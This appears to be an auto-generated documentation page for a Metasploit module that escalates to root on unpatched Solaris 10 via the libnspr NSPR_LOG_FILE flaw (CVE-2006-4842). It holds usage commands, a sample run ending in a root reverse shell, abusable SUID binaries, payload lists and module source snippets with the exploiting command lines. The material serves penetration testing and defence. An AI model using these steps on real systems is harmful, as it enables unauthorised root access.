Solaris libnspr NSPR_LOG_FILE Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/solaris/local/libnspr_nspr_log_file_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Solaris libnspr NSPR_LOG_FILE Privilege Escalation
Module: exploit/solaris/local/libnspr_nspr_log_file_priv_esc
Source code: modules/exploits/solaris/local/libnspr_nspr_log_file_priv_esc.rb
Disclosure date: 2006-10-11
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): x86, x64, sparc
Supported platform(s): Solaris
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2006-4842

This module exploits an arbitrary file write vulnerability in the Netscape Portable Runtime library (libnspr) on unpatched Solaris systems prior to Solaris 10u3 which allows users to gain root privileges. libnspr versions prior to 4.6.3 allow users to specify a log file with the NSPR_LOG_FILE environment variable. The log file is created with the privileges of the running process, resulting in privilege escalation when used in combination with a SUID executable. This module writes a shared object to the trusted library directory /usr/lib/secure and runs the specified SUID binary with the shared object loaded using the LD_LIBRARY_PATH environment variable. This module has been tested successfully with libnspr version 4.5.1 on Solaris 10u1 (01/06) (x86) and Solaris 10u2 (06/06) (x86).

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/solaris/local/libnspr_nspr_log_file_priv_esc
msf exploit(libnspr_nspr_log_file_priv_esc) > show targets
    ... a list of targets ...
msf exploit(libnspr_nspr_log_file_priv_esc) > set TARGET target-id
msf exploit(libnspr_nspr_log_file_priv_esc) > show options
    ... show and set options ...
msf exploit(libnspr_nspr_log_file_priv_esc) > set SESSION session-id
msf exploit(libnspr_nspr_log_file_priv_esc) > exploit

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

Description

This module exploits an arbitrary file write vulnerability in the Netscape Portable Runtime library (libnspr) on unpatched Solaris systems prior to Solaris 10u3 which allows users to gain root privileges.

libnspr versions prior to 4.6.3 allow users to specify a log file with the NSPR_LOG_FILE environment variable. The log file is created with the privileges of the running process, resulting in privilege escalation when used in combination with a SUID executable.

This module writes a shared object to the trusted library directory /usr/lib/secure and runs the specified SUID binary with the shared object loaded using the LD_LIBRARY_PATH environment variable.

Vulnerable Application

This module has been tested successfully with libnspr version 4.5.1 on Solaris 10u1 (01/06) (x86) and Solaris 10u2 (06/06) (x86).

Verification Steps

  1. Start msfconsole
  2. Get a session
  3. Do: use exploit/solaris/local/libnspr_nspr_log_file_priv_esc
  4. Do: set SESSION [SESSION]
  5. Do: run
  6. You should get a new root session

Options

SESSION

Which session to use, which can be viewed with sessions

SUID_PATH

Path to suid executable (must be linked to a vulnerable version of libnspr4.so) (default: /usr/bin/cancel)

Some useful example SUID executables:

  • /usr/bin/cancel
  • /usr/bin/chkey
  • /usr/bin/lp
  • /usr/bin/lpset
  • /usr/bin/lpstat
  • /usr/lib/lp/bin/netpr
  • /usr/sbin/lpmove

Scenarios

  msf5 > use exploit/solaris/local/libnspr_nspr_log_file_priv_esc 
  msf5 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > set session 1
  session => 1
  msf5 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > set lhost 172.16.191.196
  lhost => 172.16.191.196
  msf5 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > run

  [*] Started reverse TCP handler on 172.16.191.196:4444 
  [+] Created file /usr/lib/secure/libldap.so.5
  [*] Writing '/tmp/.8ENHI80b/.z6luu3Y1JC.c' (166 bytes) ...
  [*] Writing '/tmp/.8ENHI80b/.1hC6r9F' (175 bytes) ...
  [*] Executing payload...
  [+] Deleted /usr/lib/secure/libldap.so.5
  [+] Deleted /tmp/.8ENHI80b/.z6luu3Y1JC.c
  [+] Deleted /tmp/.8ENHI80b/.z6luu3Y1JC
  [!] Tried to delete /usr/lib/secure/libldap.so.5, unknown result
  [+] Deleted /tmp/.8ENHI80b/.1hC6r9F
  [+] Deleted /tmp/.8ENHI80b

  id
  uid=0(root) gid=0(root)
  uname -a
  SunOS unknown 5.10 Generic_118844-26 i86pc i386 i86pc

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Msfconsole Usage

Here is how the solaris/local/libnspr_nspr_log_file_priv_esc exploit module looks in the msfconsole:

msf6 > use exploit/solaris/local/libnspr_nspr_log_file_priv_esc

[*] Using configured payload solaris/x86/shell_reverse_tcp
msf6 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > show info

       Name: Solaris libnspr NSPR_LOG_FILE Privilege Escalation
     Module: exploit/solaris/local/libnspr_nspr_log_file_priv_esc
   Platform: Solaris
       Arch: x86, x64, sparc
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2006-10-11

Provided by:
  iDefense
  Marco Ivaldi
  bcoles <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Auto

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  SESSION                     yes       The session to run this module on.
  SUID_PATH  /usr/bin/cancel  yes       Path to suid executable (must be linked to a vulnerable version of libnspr4.so)

Payload information:

Description:
  This module exploits an arbitrary file write vulnerability in the 
  Netscape Portable Runtime library (libnspr) on unpatched Solaris 
  systems prior to Solaris 10u3 which allows users to gain root 
  privileges. libnspr versions prior to 4.6.3 allow users to specify a 
  log file with the `NSPR_LOG_FILE` environment variable. The log file 
  is created with the privileges of the running process, resulting in 
  privilege escalation when used in combination with a SUID 
  executable. This module writes a shared object to the trusted 
  library directory `/usr/lib/secure` and runs the specified SUID 
  binary with the shared object loaded using the `LD_LIBRARY_PATH` 
  environment variable. This module has been tested successfully with 
  libnspr version 4.5.1 on Solaris 10u1 (01/06) (x86) and Solaris 10u2 
  (06/06) (x86).

References:
  http://www.securityfocus.com/bid/20471
  https://nvd.nist.gov/vuln/detail/CVE-2006-4842
  https://www.exploit-db.com/exploits/2543
  https://www.exploit-db.com/exploits/2569
  https://www.exploit-db.com/exploits/2641
  https://securitytracker.com/id/1017050
  https://securitytracker.com/id/1017051
  https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSPR
  http://web.archive.org/web/20061118024339/http://labs.idefense.com:80/intelligence/vulnerabilities/display.php?id=418
  http://web.archive.org/web/20061110164829/http://sunsolve.sun.com/search/document.do?assetkey=1-26-102658-1

Module Options

This is a complete list of options available in the solaris/local/libnspr_nspr_log_file_priv_esc exploit:

msf6 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > show options

Module options (exploit/solaris/local/libnspr_nspr_log_file_priv_esc):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   SESSION                     yes       The session to run this module on.
   SUID_PATH  /usr/bin/cancel  yes       Path to suid executable (must be linked to a vulnerable version of libnspr4.so)

Payload options (solaris/x86/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Auto

Advanced Options

Here is a complete list of advanced options supported by the solaris/local/libnspr_nspr_log_file_priv_esc exploit:

msf6 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > show advanced

Module advanced options (exploit/solaris/local/libnspr_nspr_log_file_priv_esc):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                10               no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where we can write files

Payload advanced options (solaris/x86/shell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AppendExit                  false            no        Append a stub that executes the exit(0) system call
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   PrependSetgid               false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid             false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetreuid             false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid               false            no        Prepend a stub that executes the setuid(0) system call
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the solaris/local/libnspr_nspr_log_file_priv_esc module can exploit:

msf6 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Auto

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the solaris/local/libnspr_nspr_log_file_priv_esc exploit:

msf6 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > show payloads

Compatible Payloads
===================

   #  Name                                     Disclosure Date  Rank    Check  Description
   -  ----                                     ---------------  ----    -----  -----------
   0  payload/generic/custom                                    normal  No     Custom Payload
   1  payload/generic/debug_trap                                normal  No     Generic x86 Debug Trap
   2  payload/generic/shell_bind_tcp                            normal  No     Generic Command Shell, Bind TCP Inline
   3  payload/generic/shell_reverse_tcp                         normal  No     Generic Command Shell, Reverse TCP Inline
   4  payload/generic/tight_loop                                normal  No     Generic x86 Tight Loop
   5  payload/solaris/sparc/shell_bind_tcp                      normal  No     Solaris Command Shell, Bind TCP Inline
   6  payload/solaris/sparc/shell_reverse_tcp                   normal  No     Solaris Command Shell, Reverse TCP Inline
   7  payload/solaris/x86/shell_bind_tcp                        normal  No     Solaris Command Shell, Bind TCP Inline
   8  payload/solaris/x86/shell_reverse_tcp                     normal  No     Solaris Command Shell, Reverse TCP Inline

Evasion Options

Here is the full list of possible evasion options supported by the solaris/local/libnspr_nspr_log_file_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PATH>.c failed to compile

Here is a relevant code snippet related to the "<PATH>.c failed to compile" error message:

108:	    upload "#{path}.c", data
109:	
110:	    output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/ gcc -fPIC -shared -g -lc -o #{path} #{path}.c"
111:	    unless output.blank?
112:	      print_error output
113:	      fail_with Failure::Unknown, "#{path}.c failed to compile"
114:	    end
115:	
116:	    register_file_for_cleanup path
117:	  end
118:

<SUID_BIN_PATH> is not setuid

Here is a relevant code snippet related to the "<SUID_BIN_PATH> is not setuid" error message:

116:	    register_file_for_cleanup path
117:	  end
118:	
119:	  def check
120:	    unless setuid? suid_bin_path
121:	      vprint_error "#{suid_bin_path} is not setuid"
122:	      return CheckCode::Safe
123:	    end
124:	    vprint_good "#{suid_bin_path} is setuid"
125:	
126:	    unless has_gcc?

gcc is not installed

Here is a relevant code snippet related to the "gcc is not installed" error message:

122:	      return CheckCode::Safe
123:	    end
124:	    vprint_good "#{suid_bin_path} is setuid"
125:	
126:	    unless has_gcc?
127:	      vprint_error 'gcc is not installed'
128:	      return CheckCode::Safe
129:	    end
130:	    vprint_good 'gcc is installed'
131:	
132:	    # libnspr versions 4.5.1, 4.6.1 and 4.6.2 are known to be vulnerable

Could not determine libnspr version

Here is a relevant code snippet related to the "Could not determine libnspr version" error message:

132:	    # libnspr versions 4.5.1, 4.6.1 and 4.6.2 are known to be vulnerable
133:	    # Earlier versions may also be vulnerable
134:	    libnspr_pkg_info = cmd_exec 'pkginfo -l SUNWpr'
135:	    libnspr_pkg_version = libnspr_pkg_info.scan(/VERSION:\s+([\d\.]+),/).flatten.first
136:	    if libnspr_pkg_version.to_s.eql? ''
137:	      vprint_error 'Could not determine libnspr version'
138:	      return CheckCode::Unknown
139:	    end
140:	
141:	    if Rex::Version.new(libnspr_pkg_version) >= Rex::Version.new('4.6.3')
142:	      vprint_error "libnspr version #{libnspr_pkg_version} is not vulnerable"

libnspr version <LIBNSPR_PKG_VERSION> is not vulnerable

Here is a relevant code snippet related to the "libnspr version <LIBNSPR_PKG_VERSION> is not vulnerable" error message:

137:	      vprint_error 'Could not determine libnspr version'
138:	      return CheckCode::Unknown
139:	    end
140:	
141:	    if Rex::Version.new(libnspr_pkg_version) >= Rex::Version.new('4.6.3')
142:	      vprint_error "libnspr version #{libnspr_pkg_version} is not vulnerable"
143:	      return CheckCode::Safe
144:	    end
145:	    vprint_good "libnspr version #{libnspr_pkg_version} appears to be vulnerable"
146:	
147:	    # Solaris 10 versions prior to the 2006 patches are known to be vulnerable.

Could not determine Solaris version

Here is a relevant code snippet related to the "Could not determine Solaris version" error message:

147:	    # Solaris 10 versions prior to the 2006 patches are known to be vulnerable.
148:	    # Solaris 8 and 9 (SunOS 5.8 and 5.9) are not affected by default,
149:	    # however third-party software may also introduce a vulnerable version of the library.
150:	    version = kernel_release
151:	    if version.to_s.eql? ''
152:	      vprint_error 'Could not determine Solaris version'
153:	      return CheckCode::Detected
154:	    end
155:	
156:	    unless Rex::Version.new(version) <= Rex::Version.new('5.10')
157:	      vprint_error "Solaris version #{version} is not vulnerable"

Solaris version <VERSION> is not vulnerable

Here is a relevant code snippet related to the "Solaris version <VERSION> is not vulnerable" error message:

152:	      vprint_error 'Could not determine Solaris version'
153:	      return CheckCode::Detected
154:	    end
155:	
156:	    unless Rex::Version.new(version) <= Rex::Version.new('5.10')
157:	      vprint_error "Solaris version #{version} is not vulnerable"
158:	      return CheckCode::Safe
159:	    end
160:	    vprint_good "Solaris version #{version} appears to be vulnerable"
161:	
162:	    # The vulnerability was patched in various Solaris patches for different platforms.

Solaris patch <PATCH>-<REVISION> has been applied

Here is a relevant code snippet related to the "Solaris patch <PATCH>-<REVISION> has been applied" error message:

171:	      119209  # Solaris 8  (SPARC) patch 119209-10
172:	    ].each do |patch|
173:	      if installed_patches =~ / #{patch}-(\d+)/
174:	        revision = $1.to_i
175:	        if revision >= 10
176:	          vprint_error "Solaris patch #{patch}-#{revision} has been applied"
177:	          return CheckCode::Safe
178:	        end
179:	      end
180:	    end
181:	    vprint_good 'Solaris patches are not installed'

Session already has root privileges

Here is a relevant code snippet related to the "Session already has root privileges" error message:

183:	    CheckCode::Appears
184:	  end
185:	
186:	  def exploit
187:	    if is_root?
188:	      fail_with Failure::BadConfig, 'Session already has root privileges'
189:	    end
190:	
191:	    unless is_writable? datastore['WritableDir']
192:	      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
193:	    end

<WRITABLEDIR> is not writable

Here is a relevant code snippet related to the "<WRITABLEDIR> is not writable" error message:

187:	    if is_root?
188:	      fail_with Failure::BadConfig, 'Session already has root privileges'
189:	    end
190:	
191:	    unless is_writable? datastore['WritableDir']
192:	      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
193:	    end
194:	
195:	    # Create writable file in /usr/lib/secure
196:	    lib_path = '/usr/lib/secure'
197:	    lib_name = 'libldap.so.5'

Could not create file '<LIB_PATH>/<LIB_NAME>'

Here is a relevant code snippet related to the "Could not create file '<LIB_PATH>/<LIB_NAME>'" error message:

201:	    cmd_exec "NSPR_LOG_MODULES=all:5 NSPR_LOG_FILE=\"#{lib_path}/#{lib_name}\" #{suid_bin_path}"
202:	    cmd_exec "NSPR_LOG_FILE=#{lib_path}/#{lib_name} #{suid_bin_path}"
203:	    cmd_exec 'umask 022'
204:	
205:	    unless is_writable? "#{lib_path}/#{lib_name}"
206:	      fail_with Failure::Unknown, "Could not create file '#{lib_path}/#{lib_name}'"
207:	    end
208:	
209:	    print_good "Created file #{lib_path}/#{lib_name}"
210:	    register_file_for_cleanup "#{lib_path}/#{lib_name}"
211:

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • iDefense
  • Marco Ivaldi
  • bcoles

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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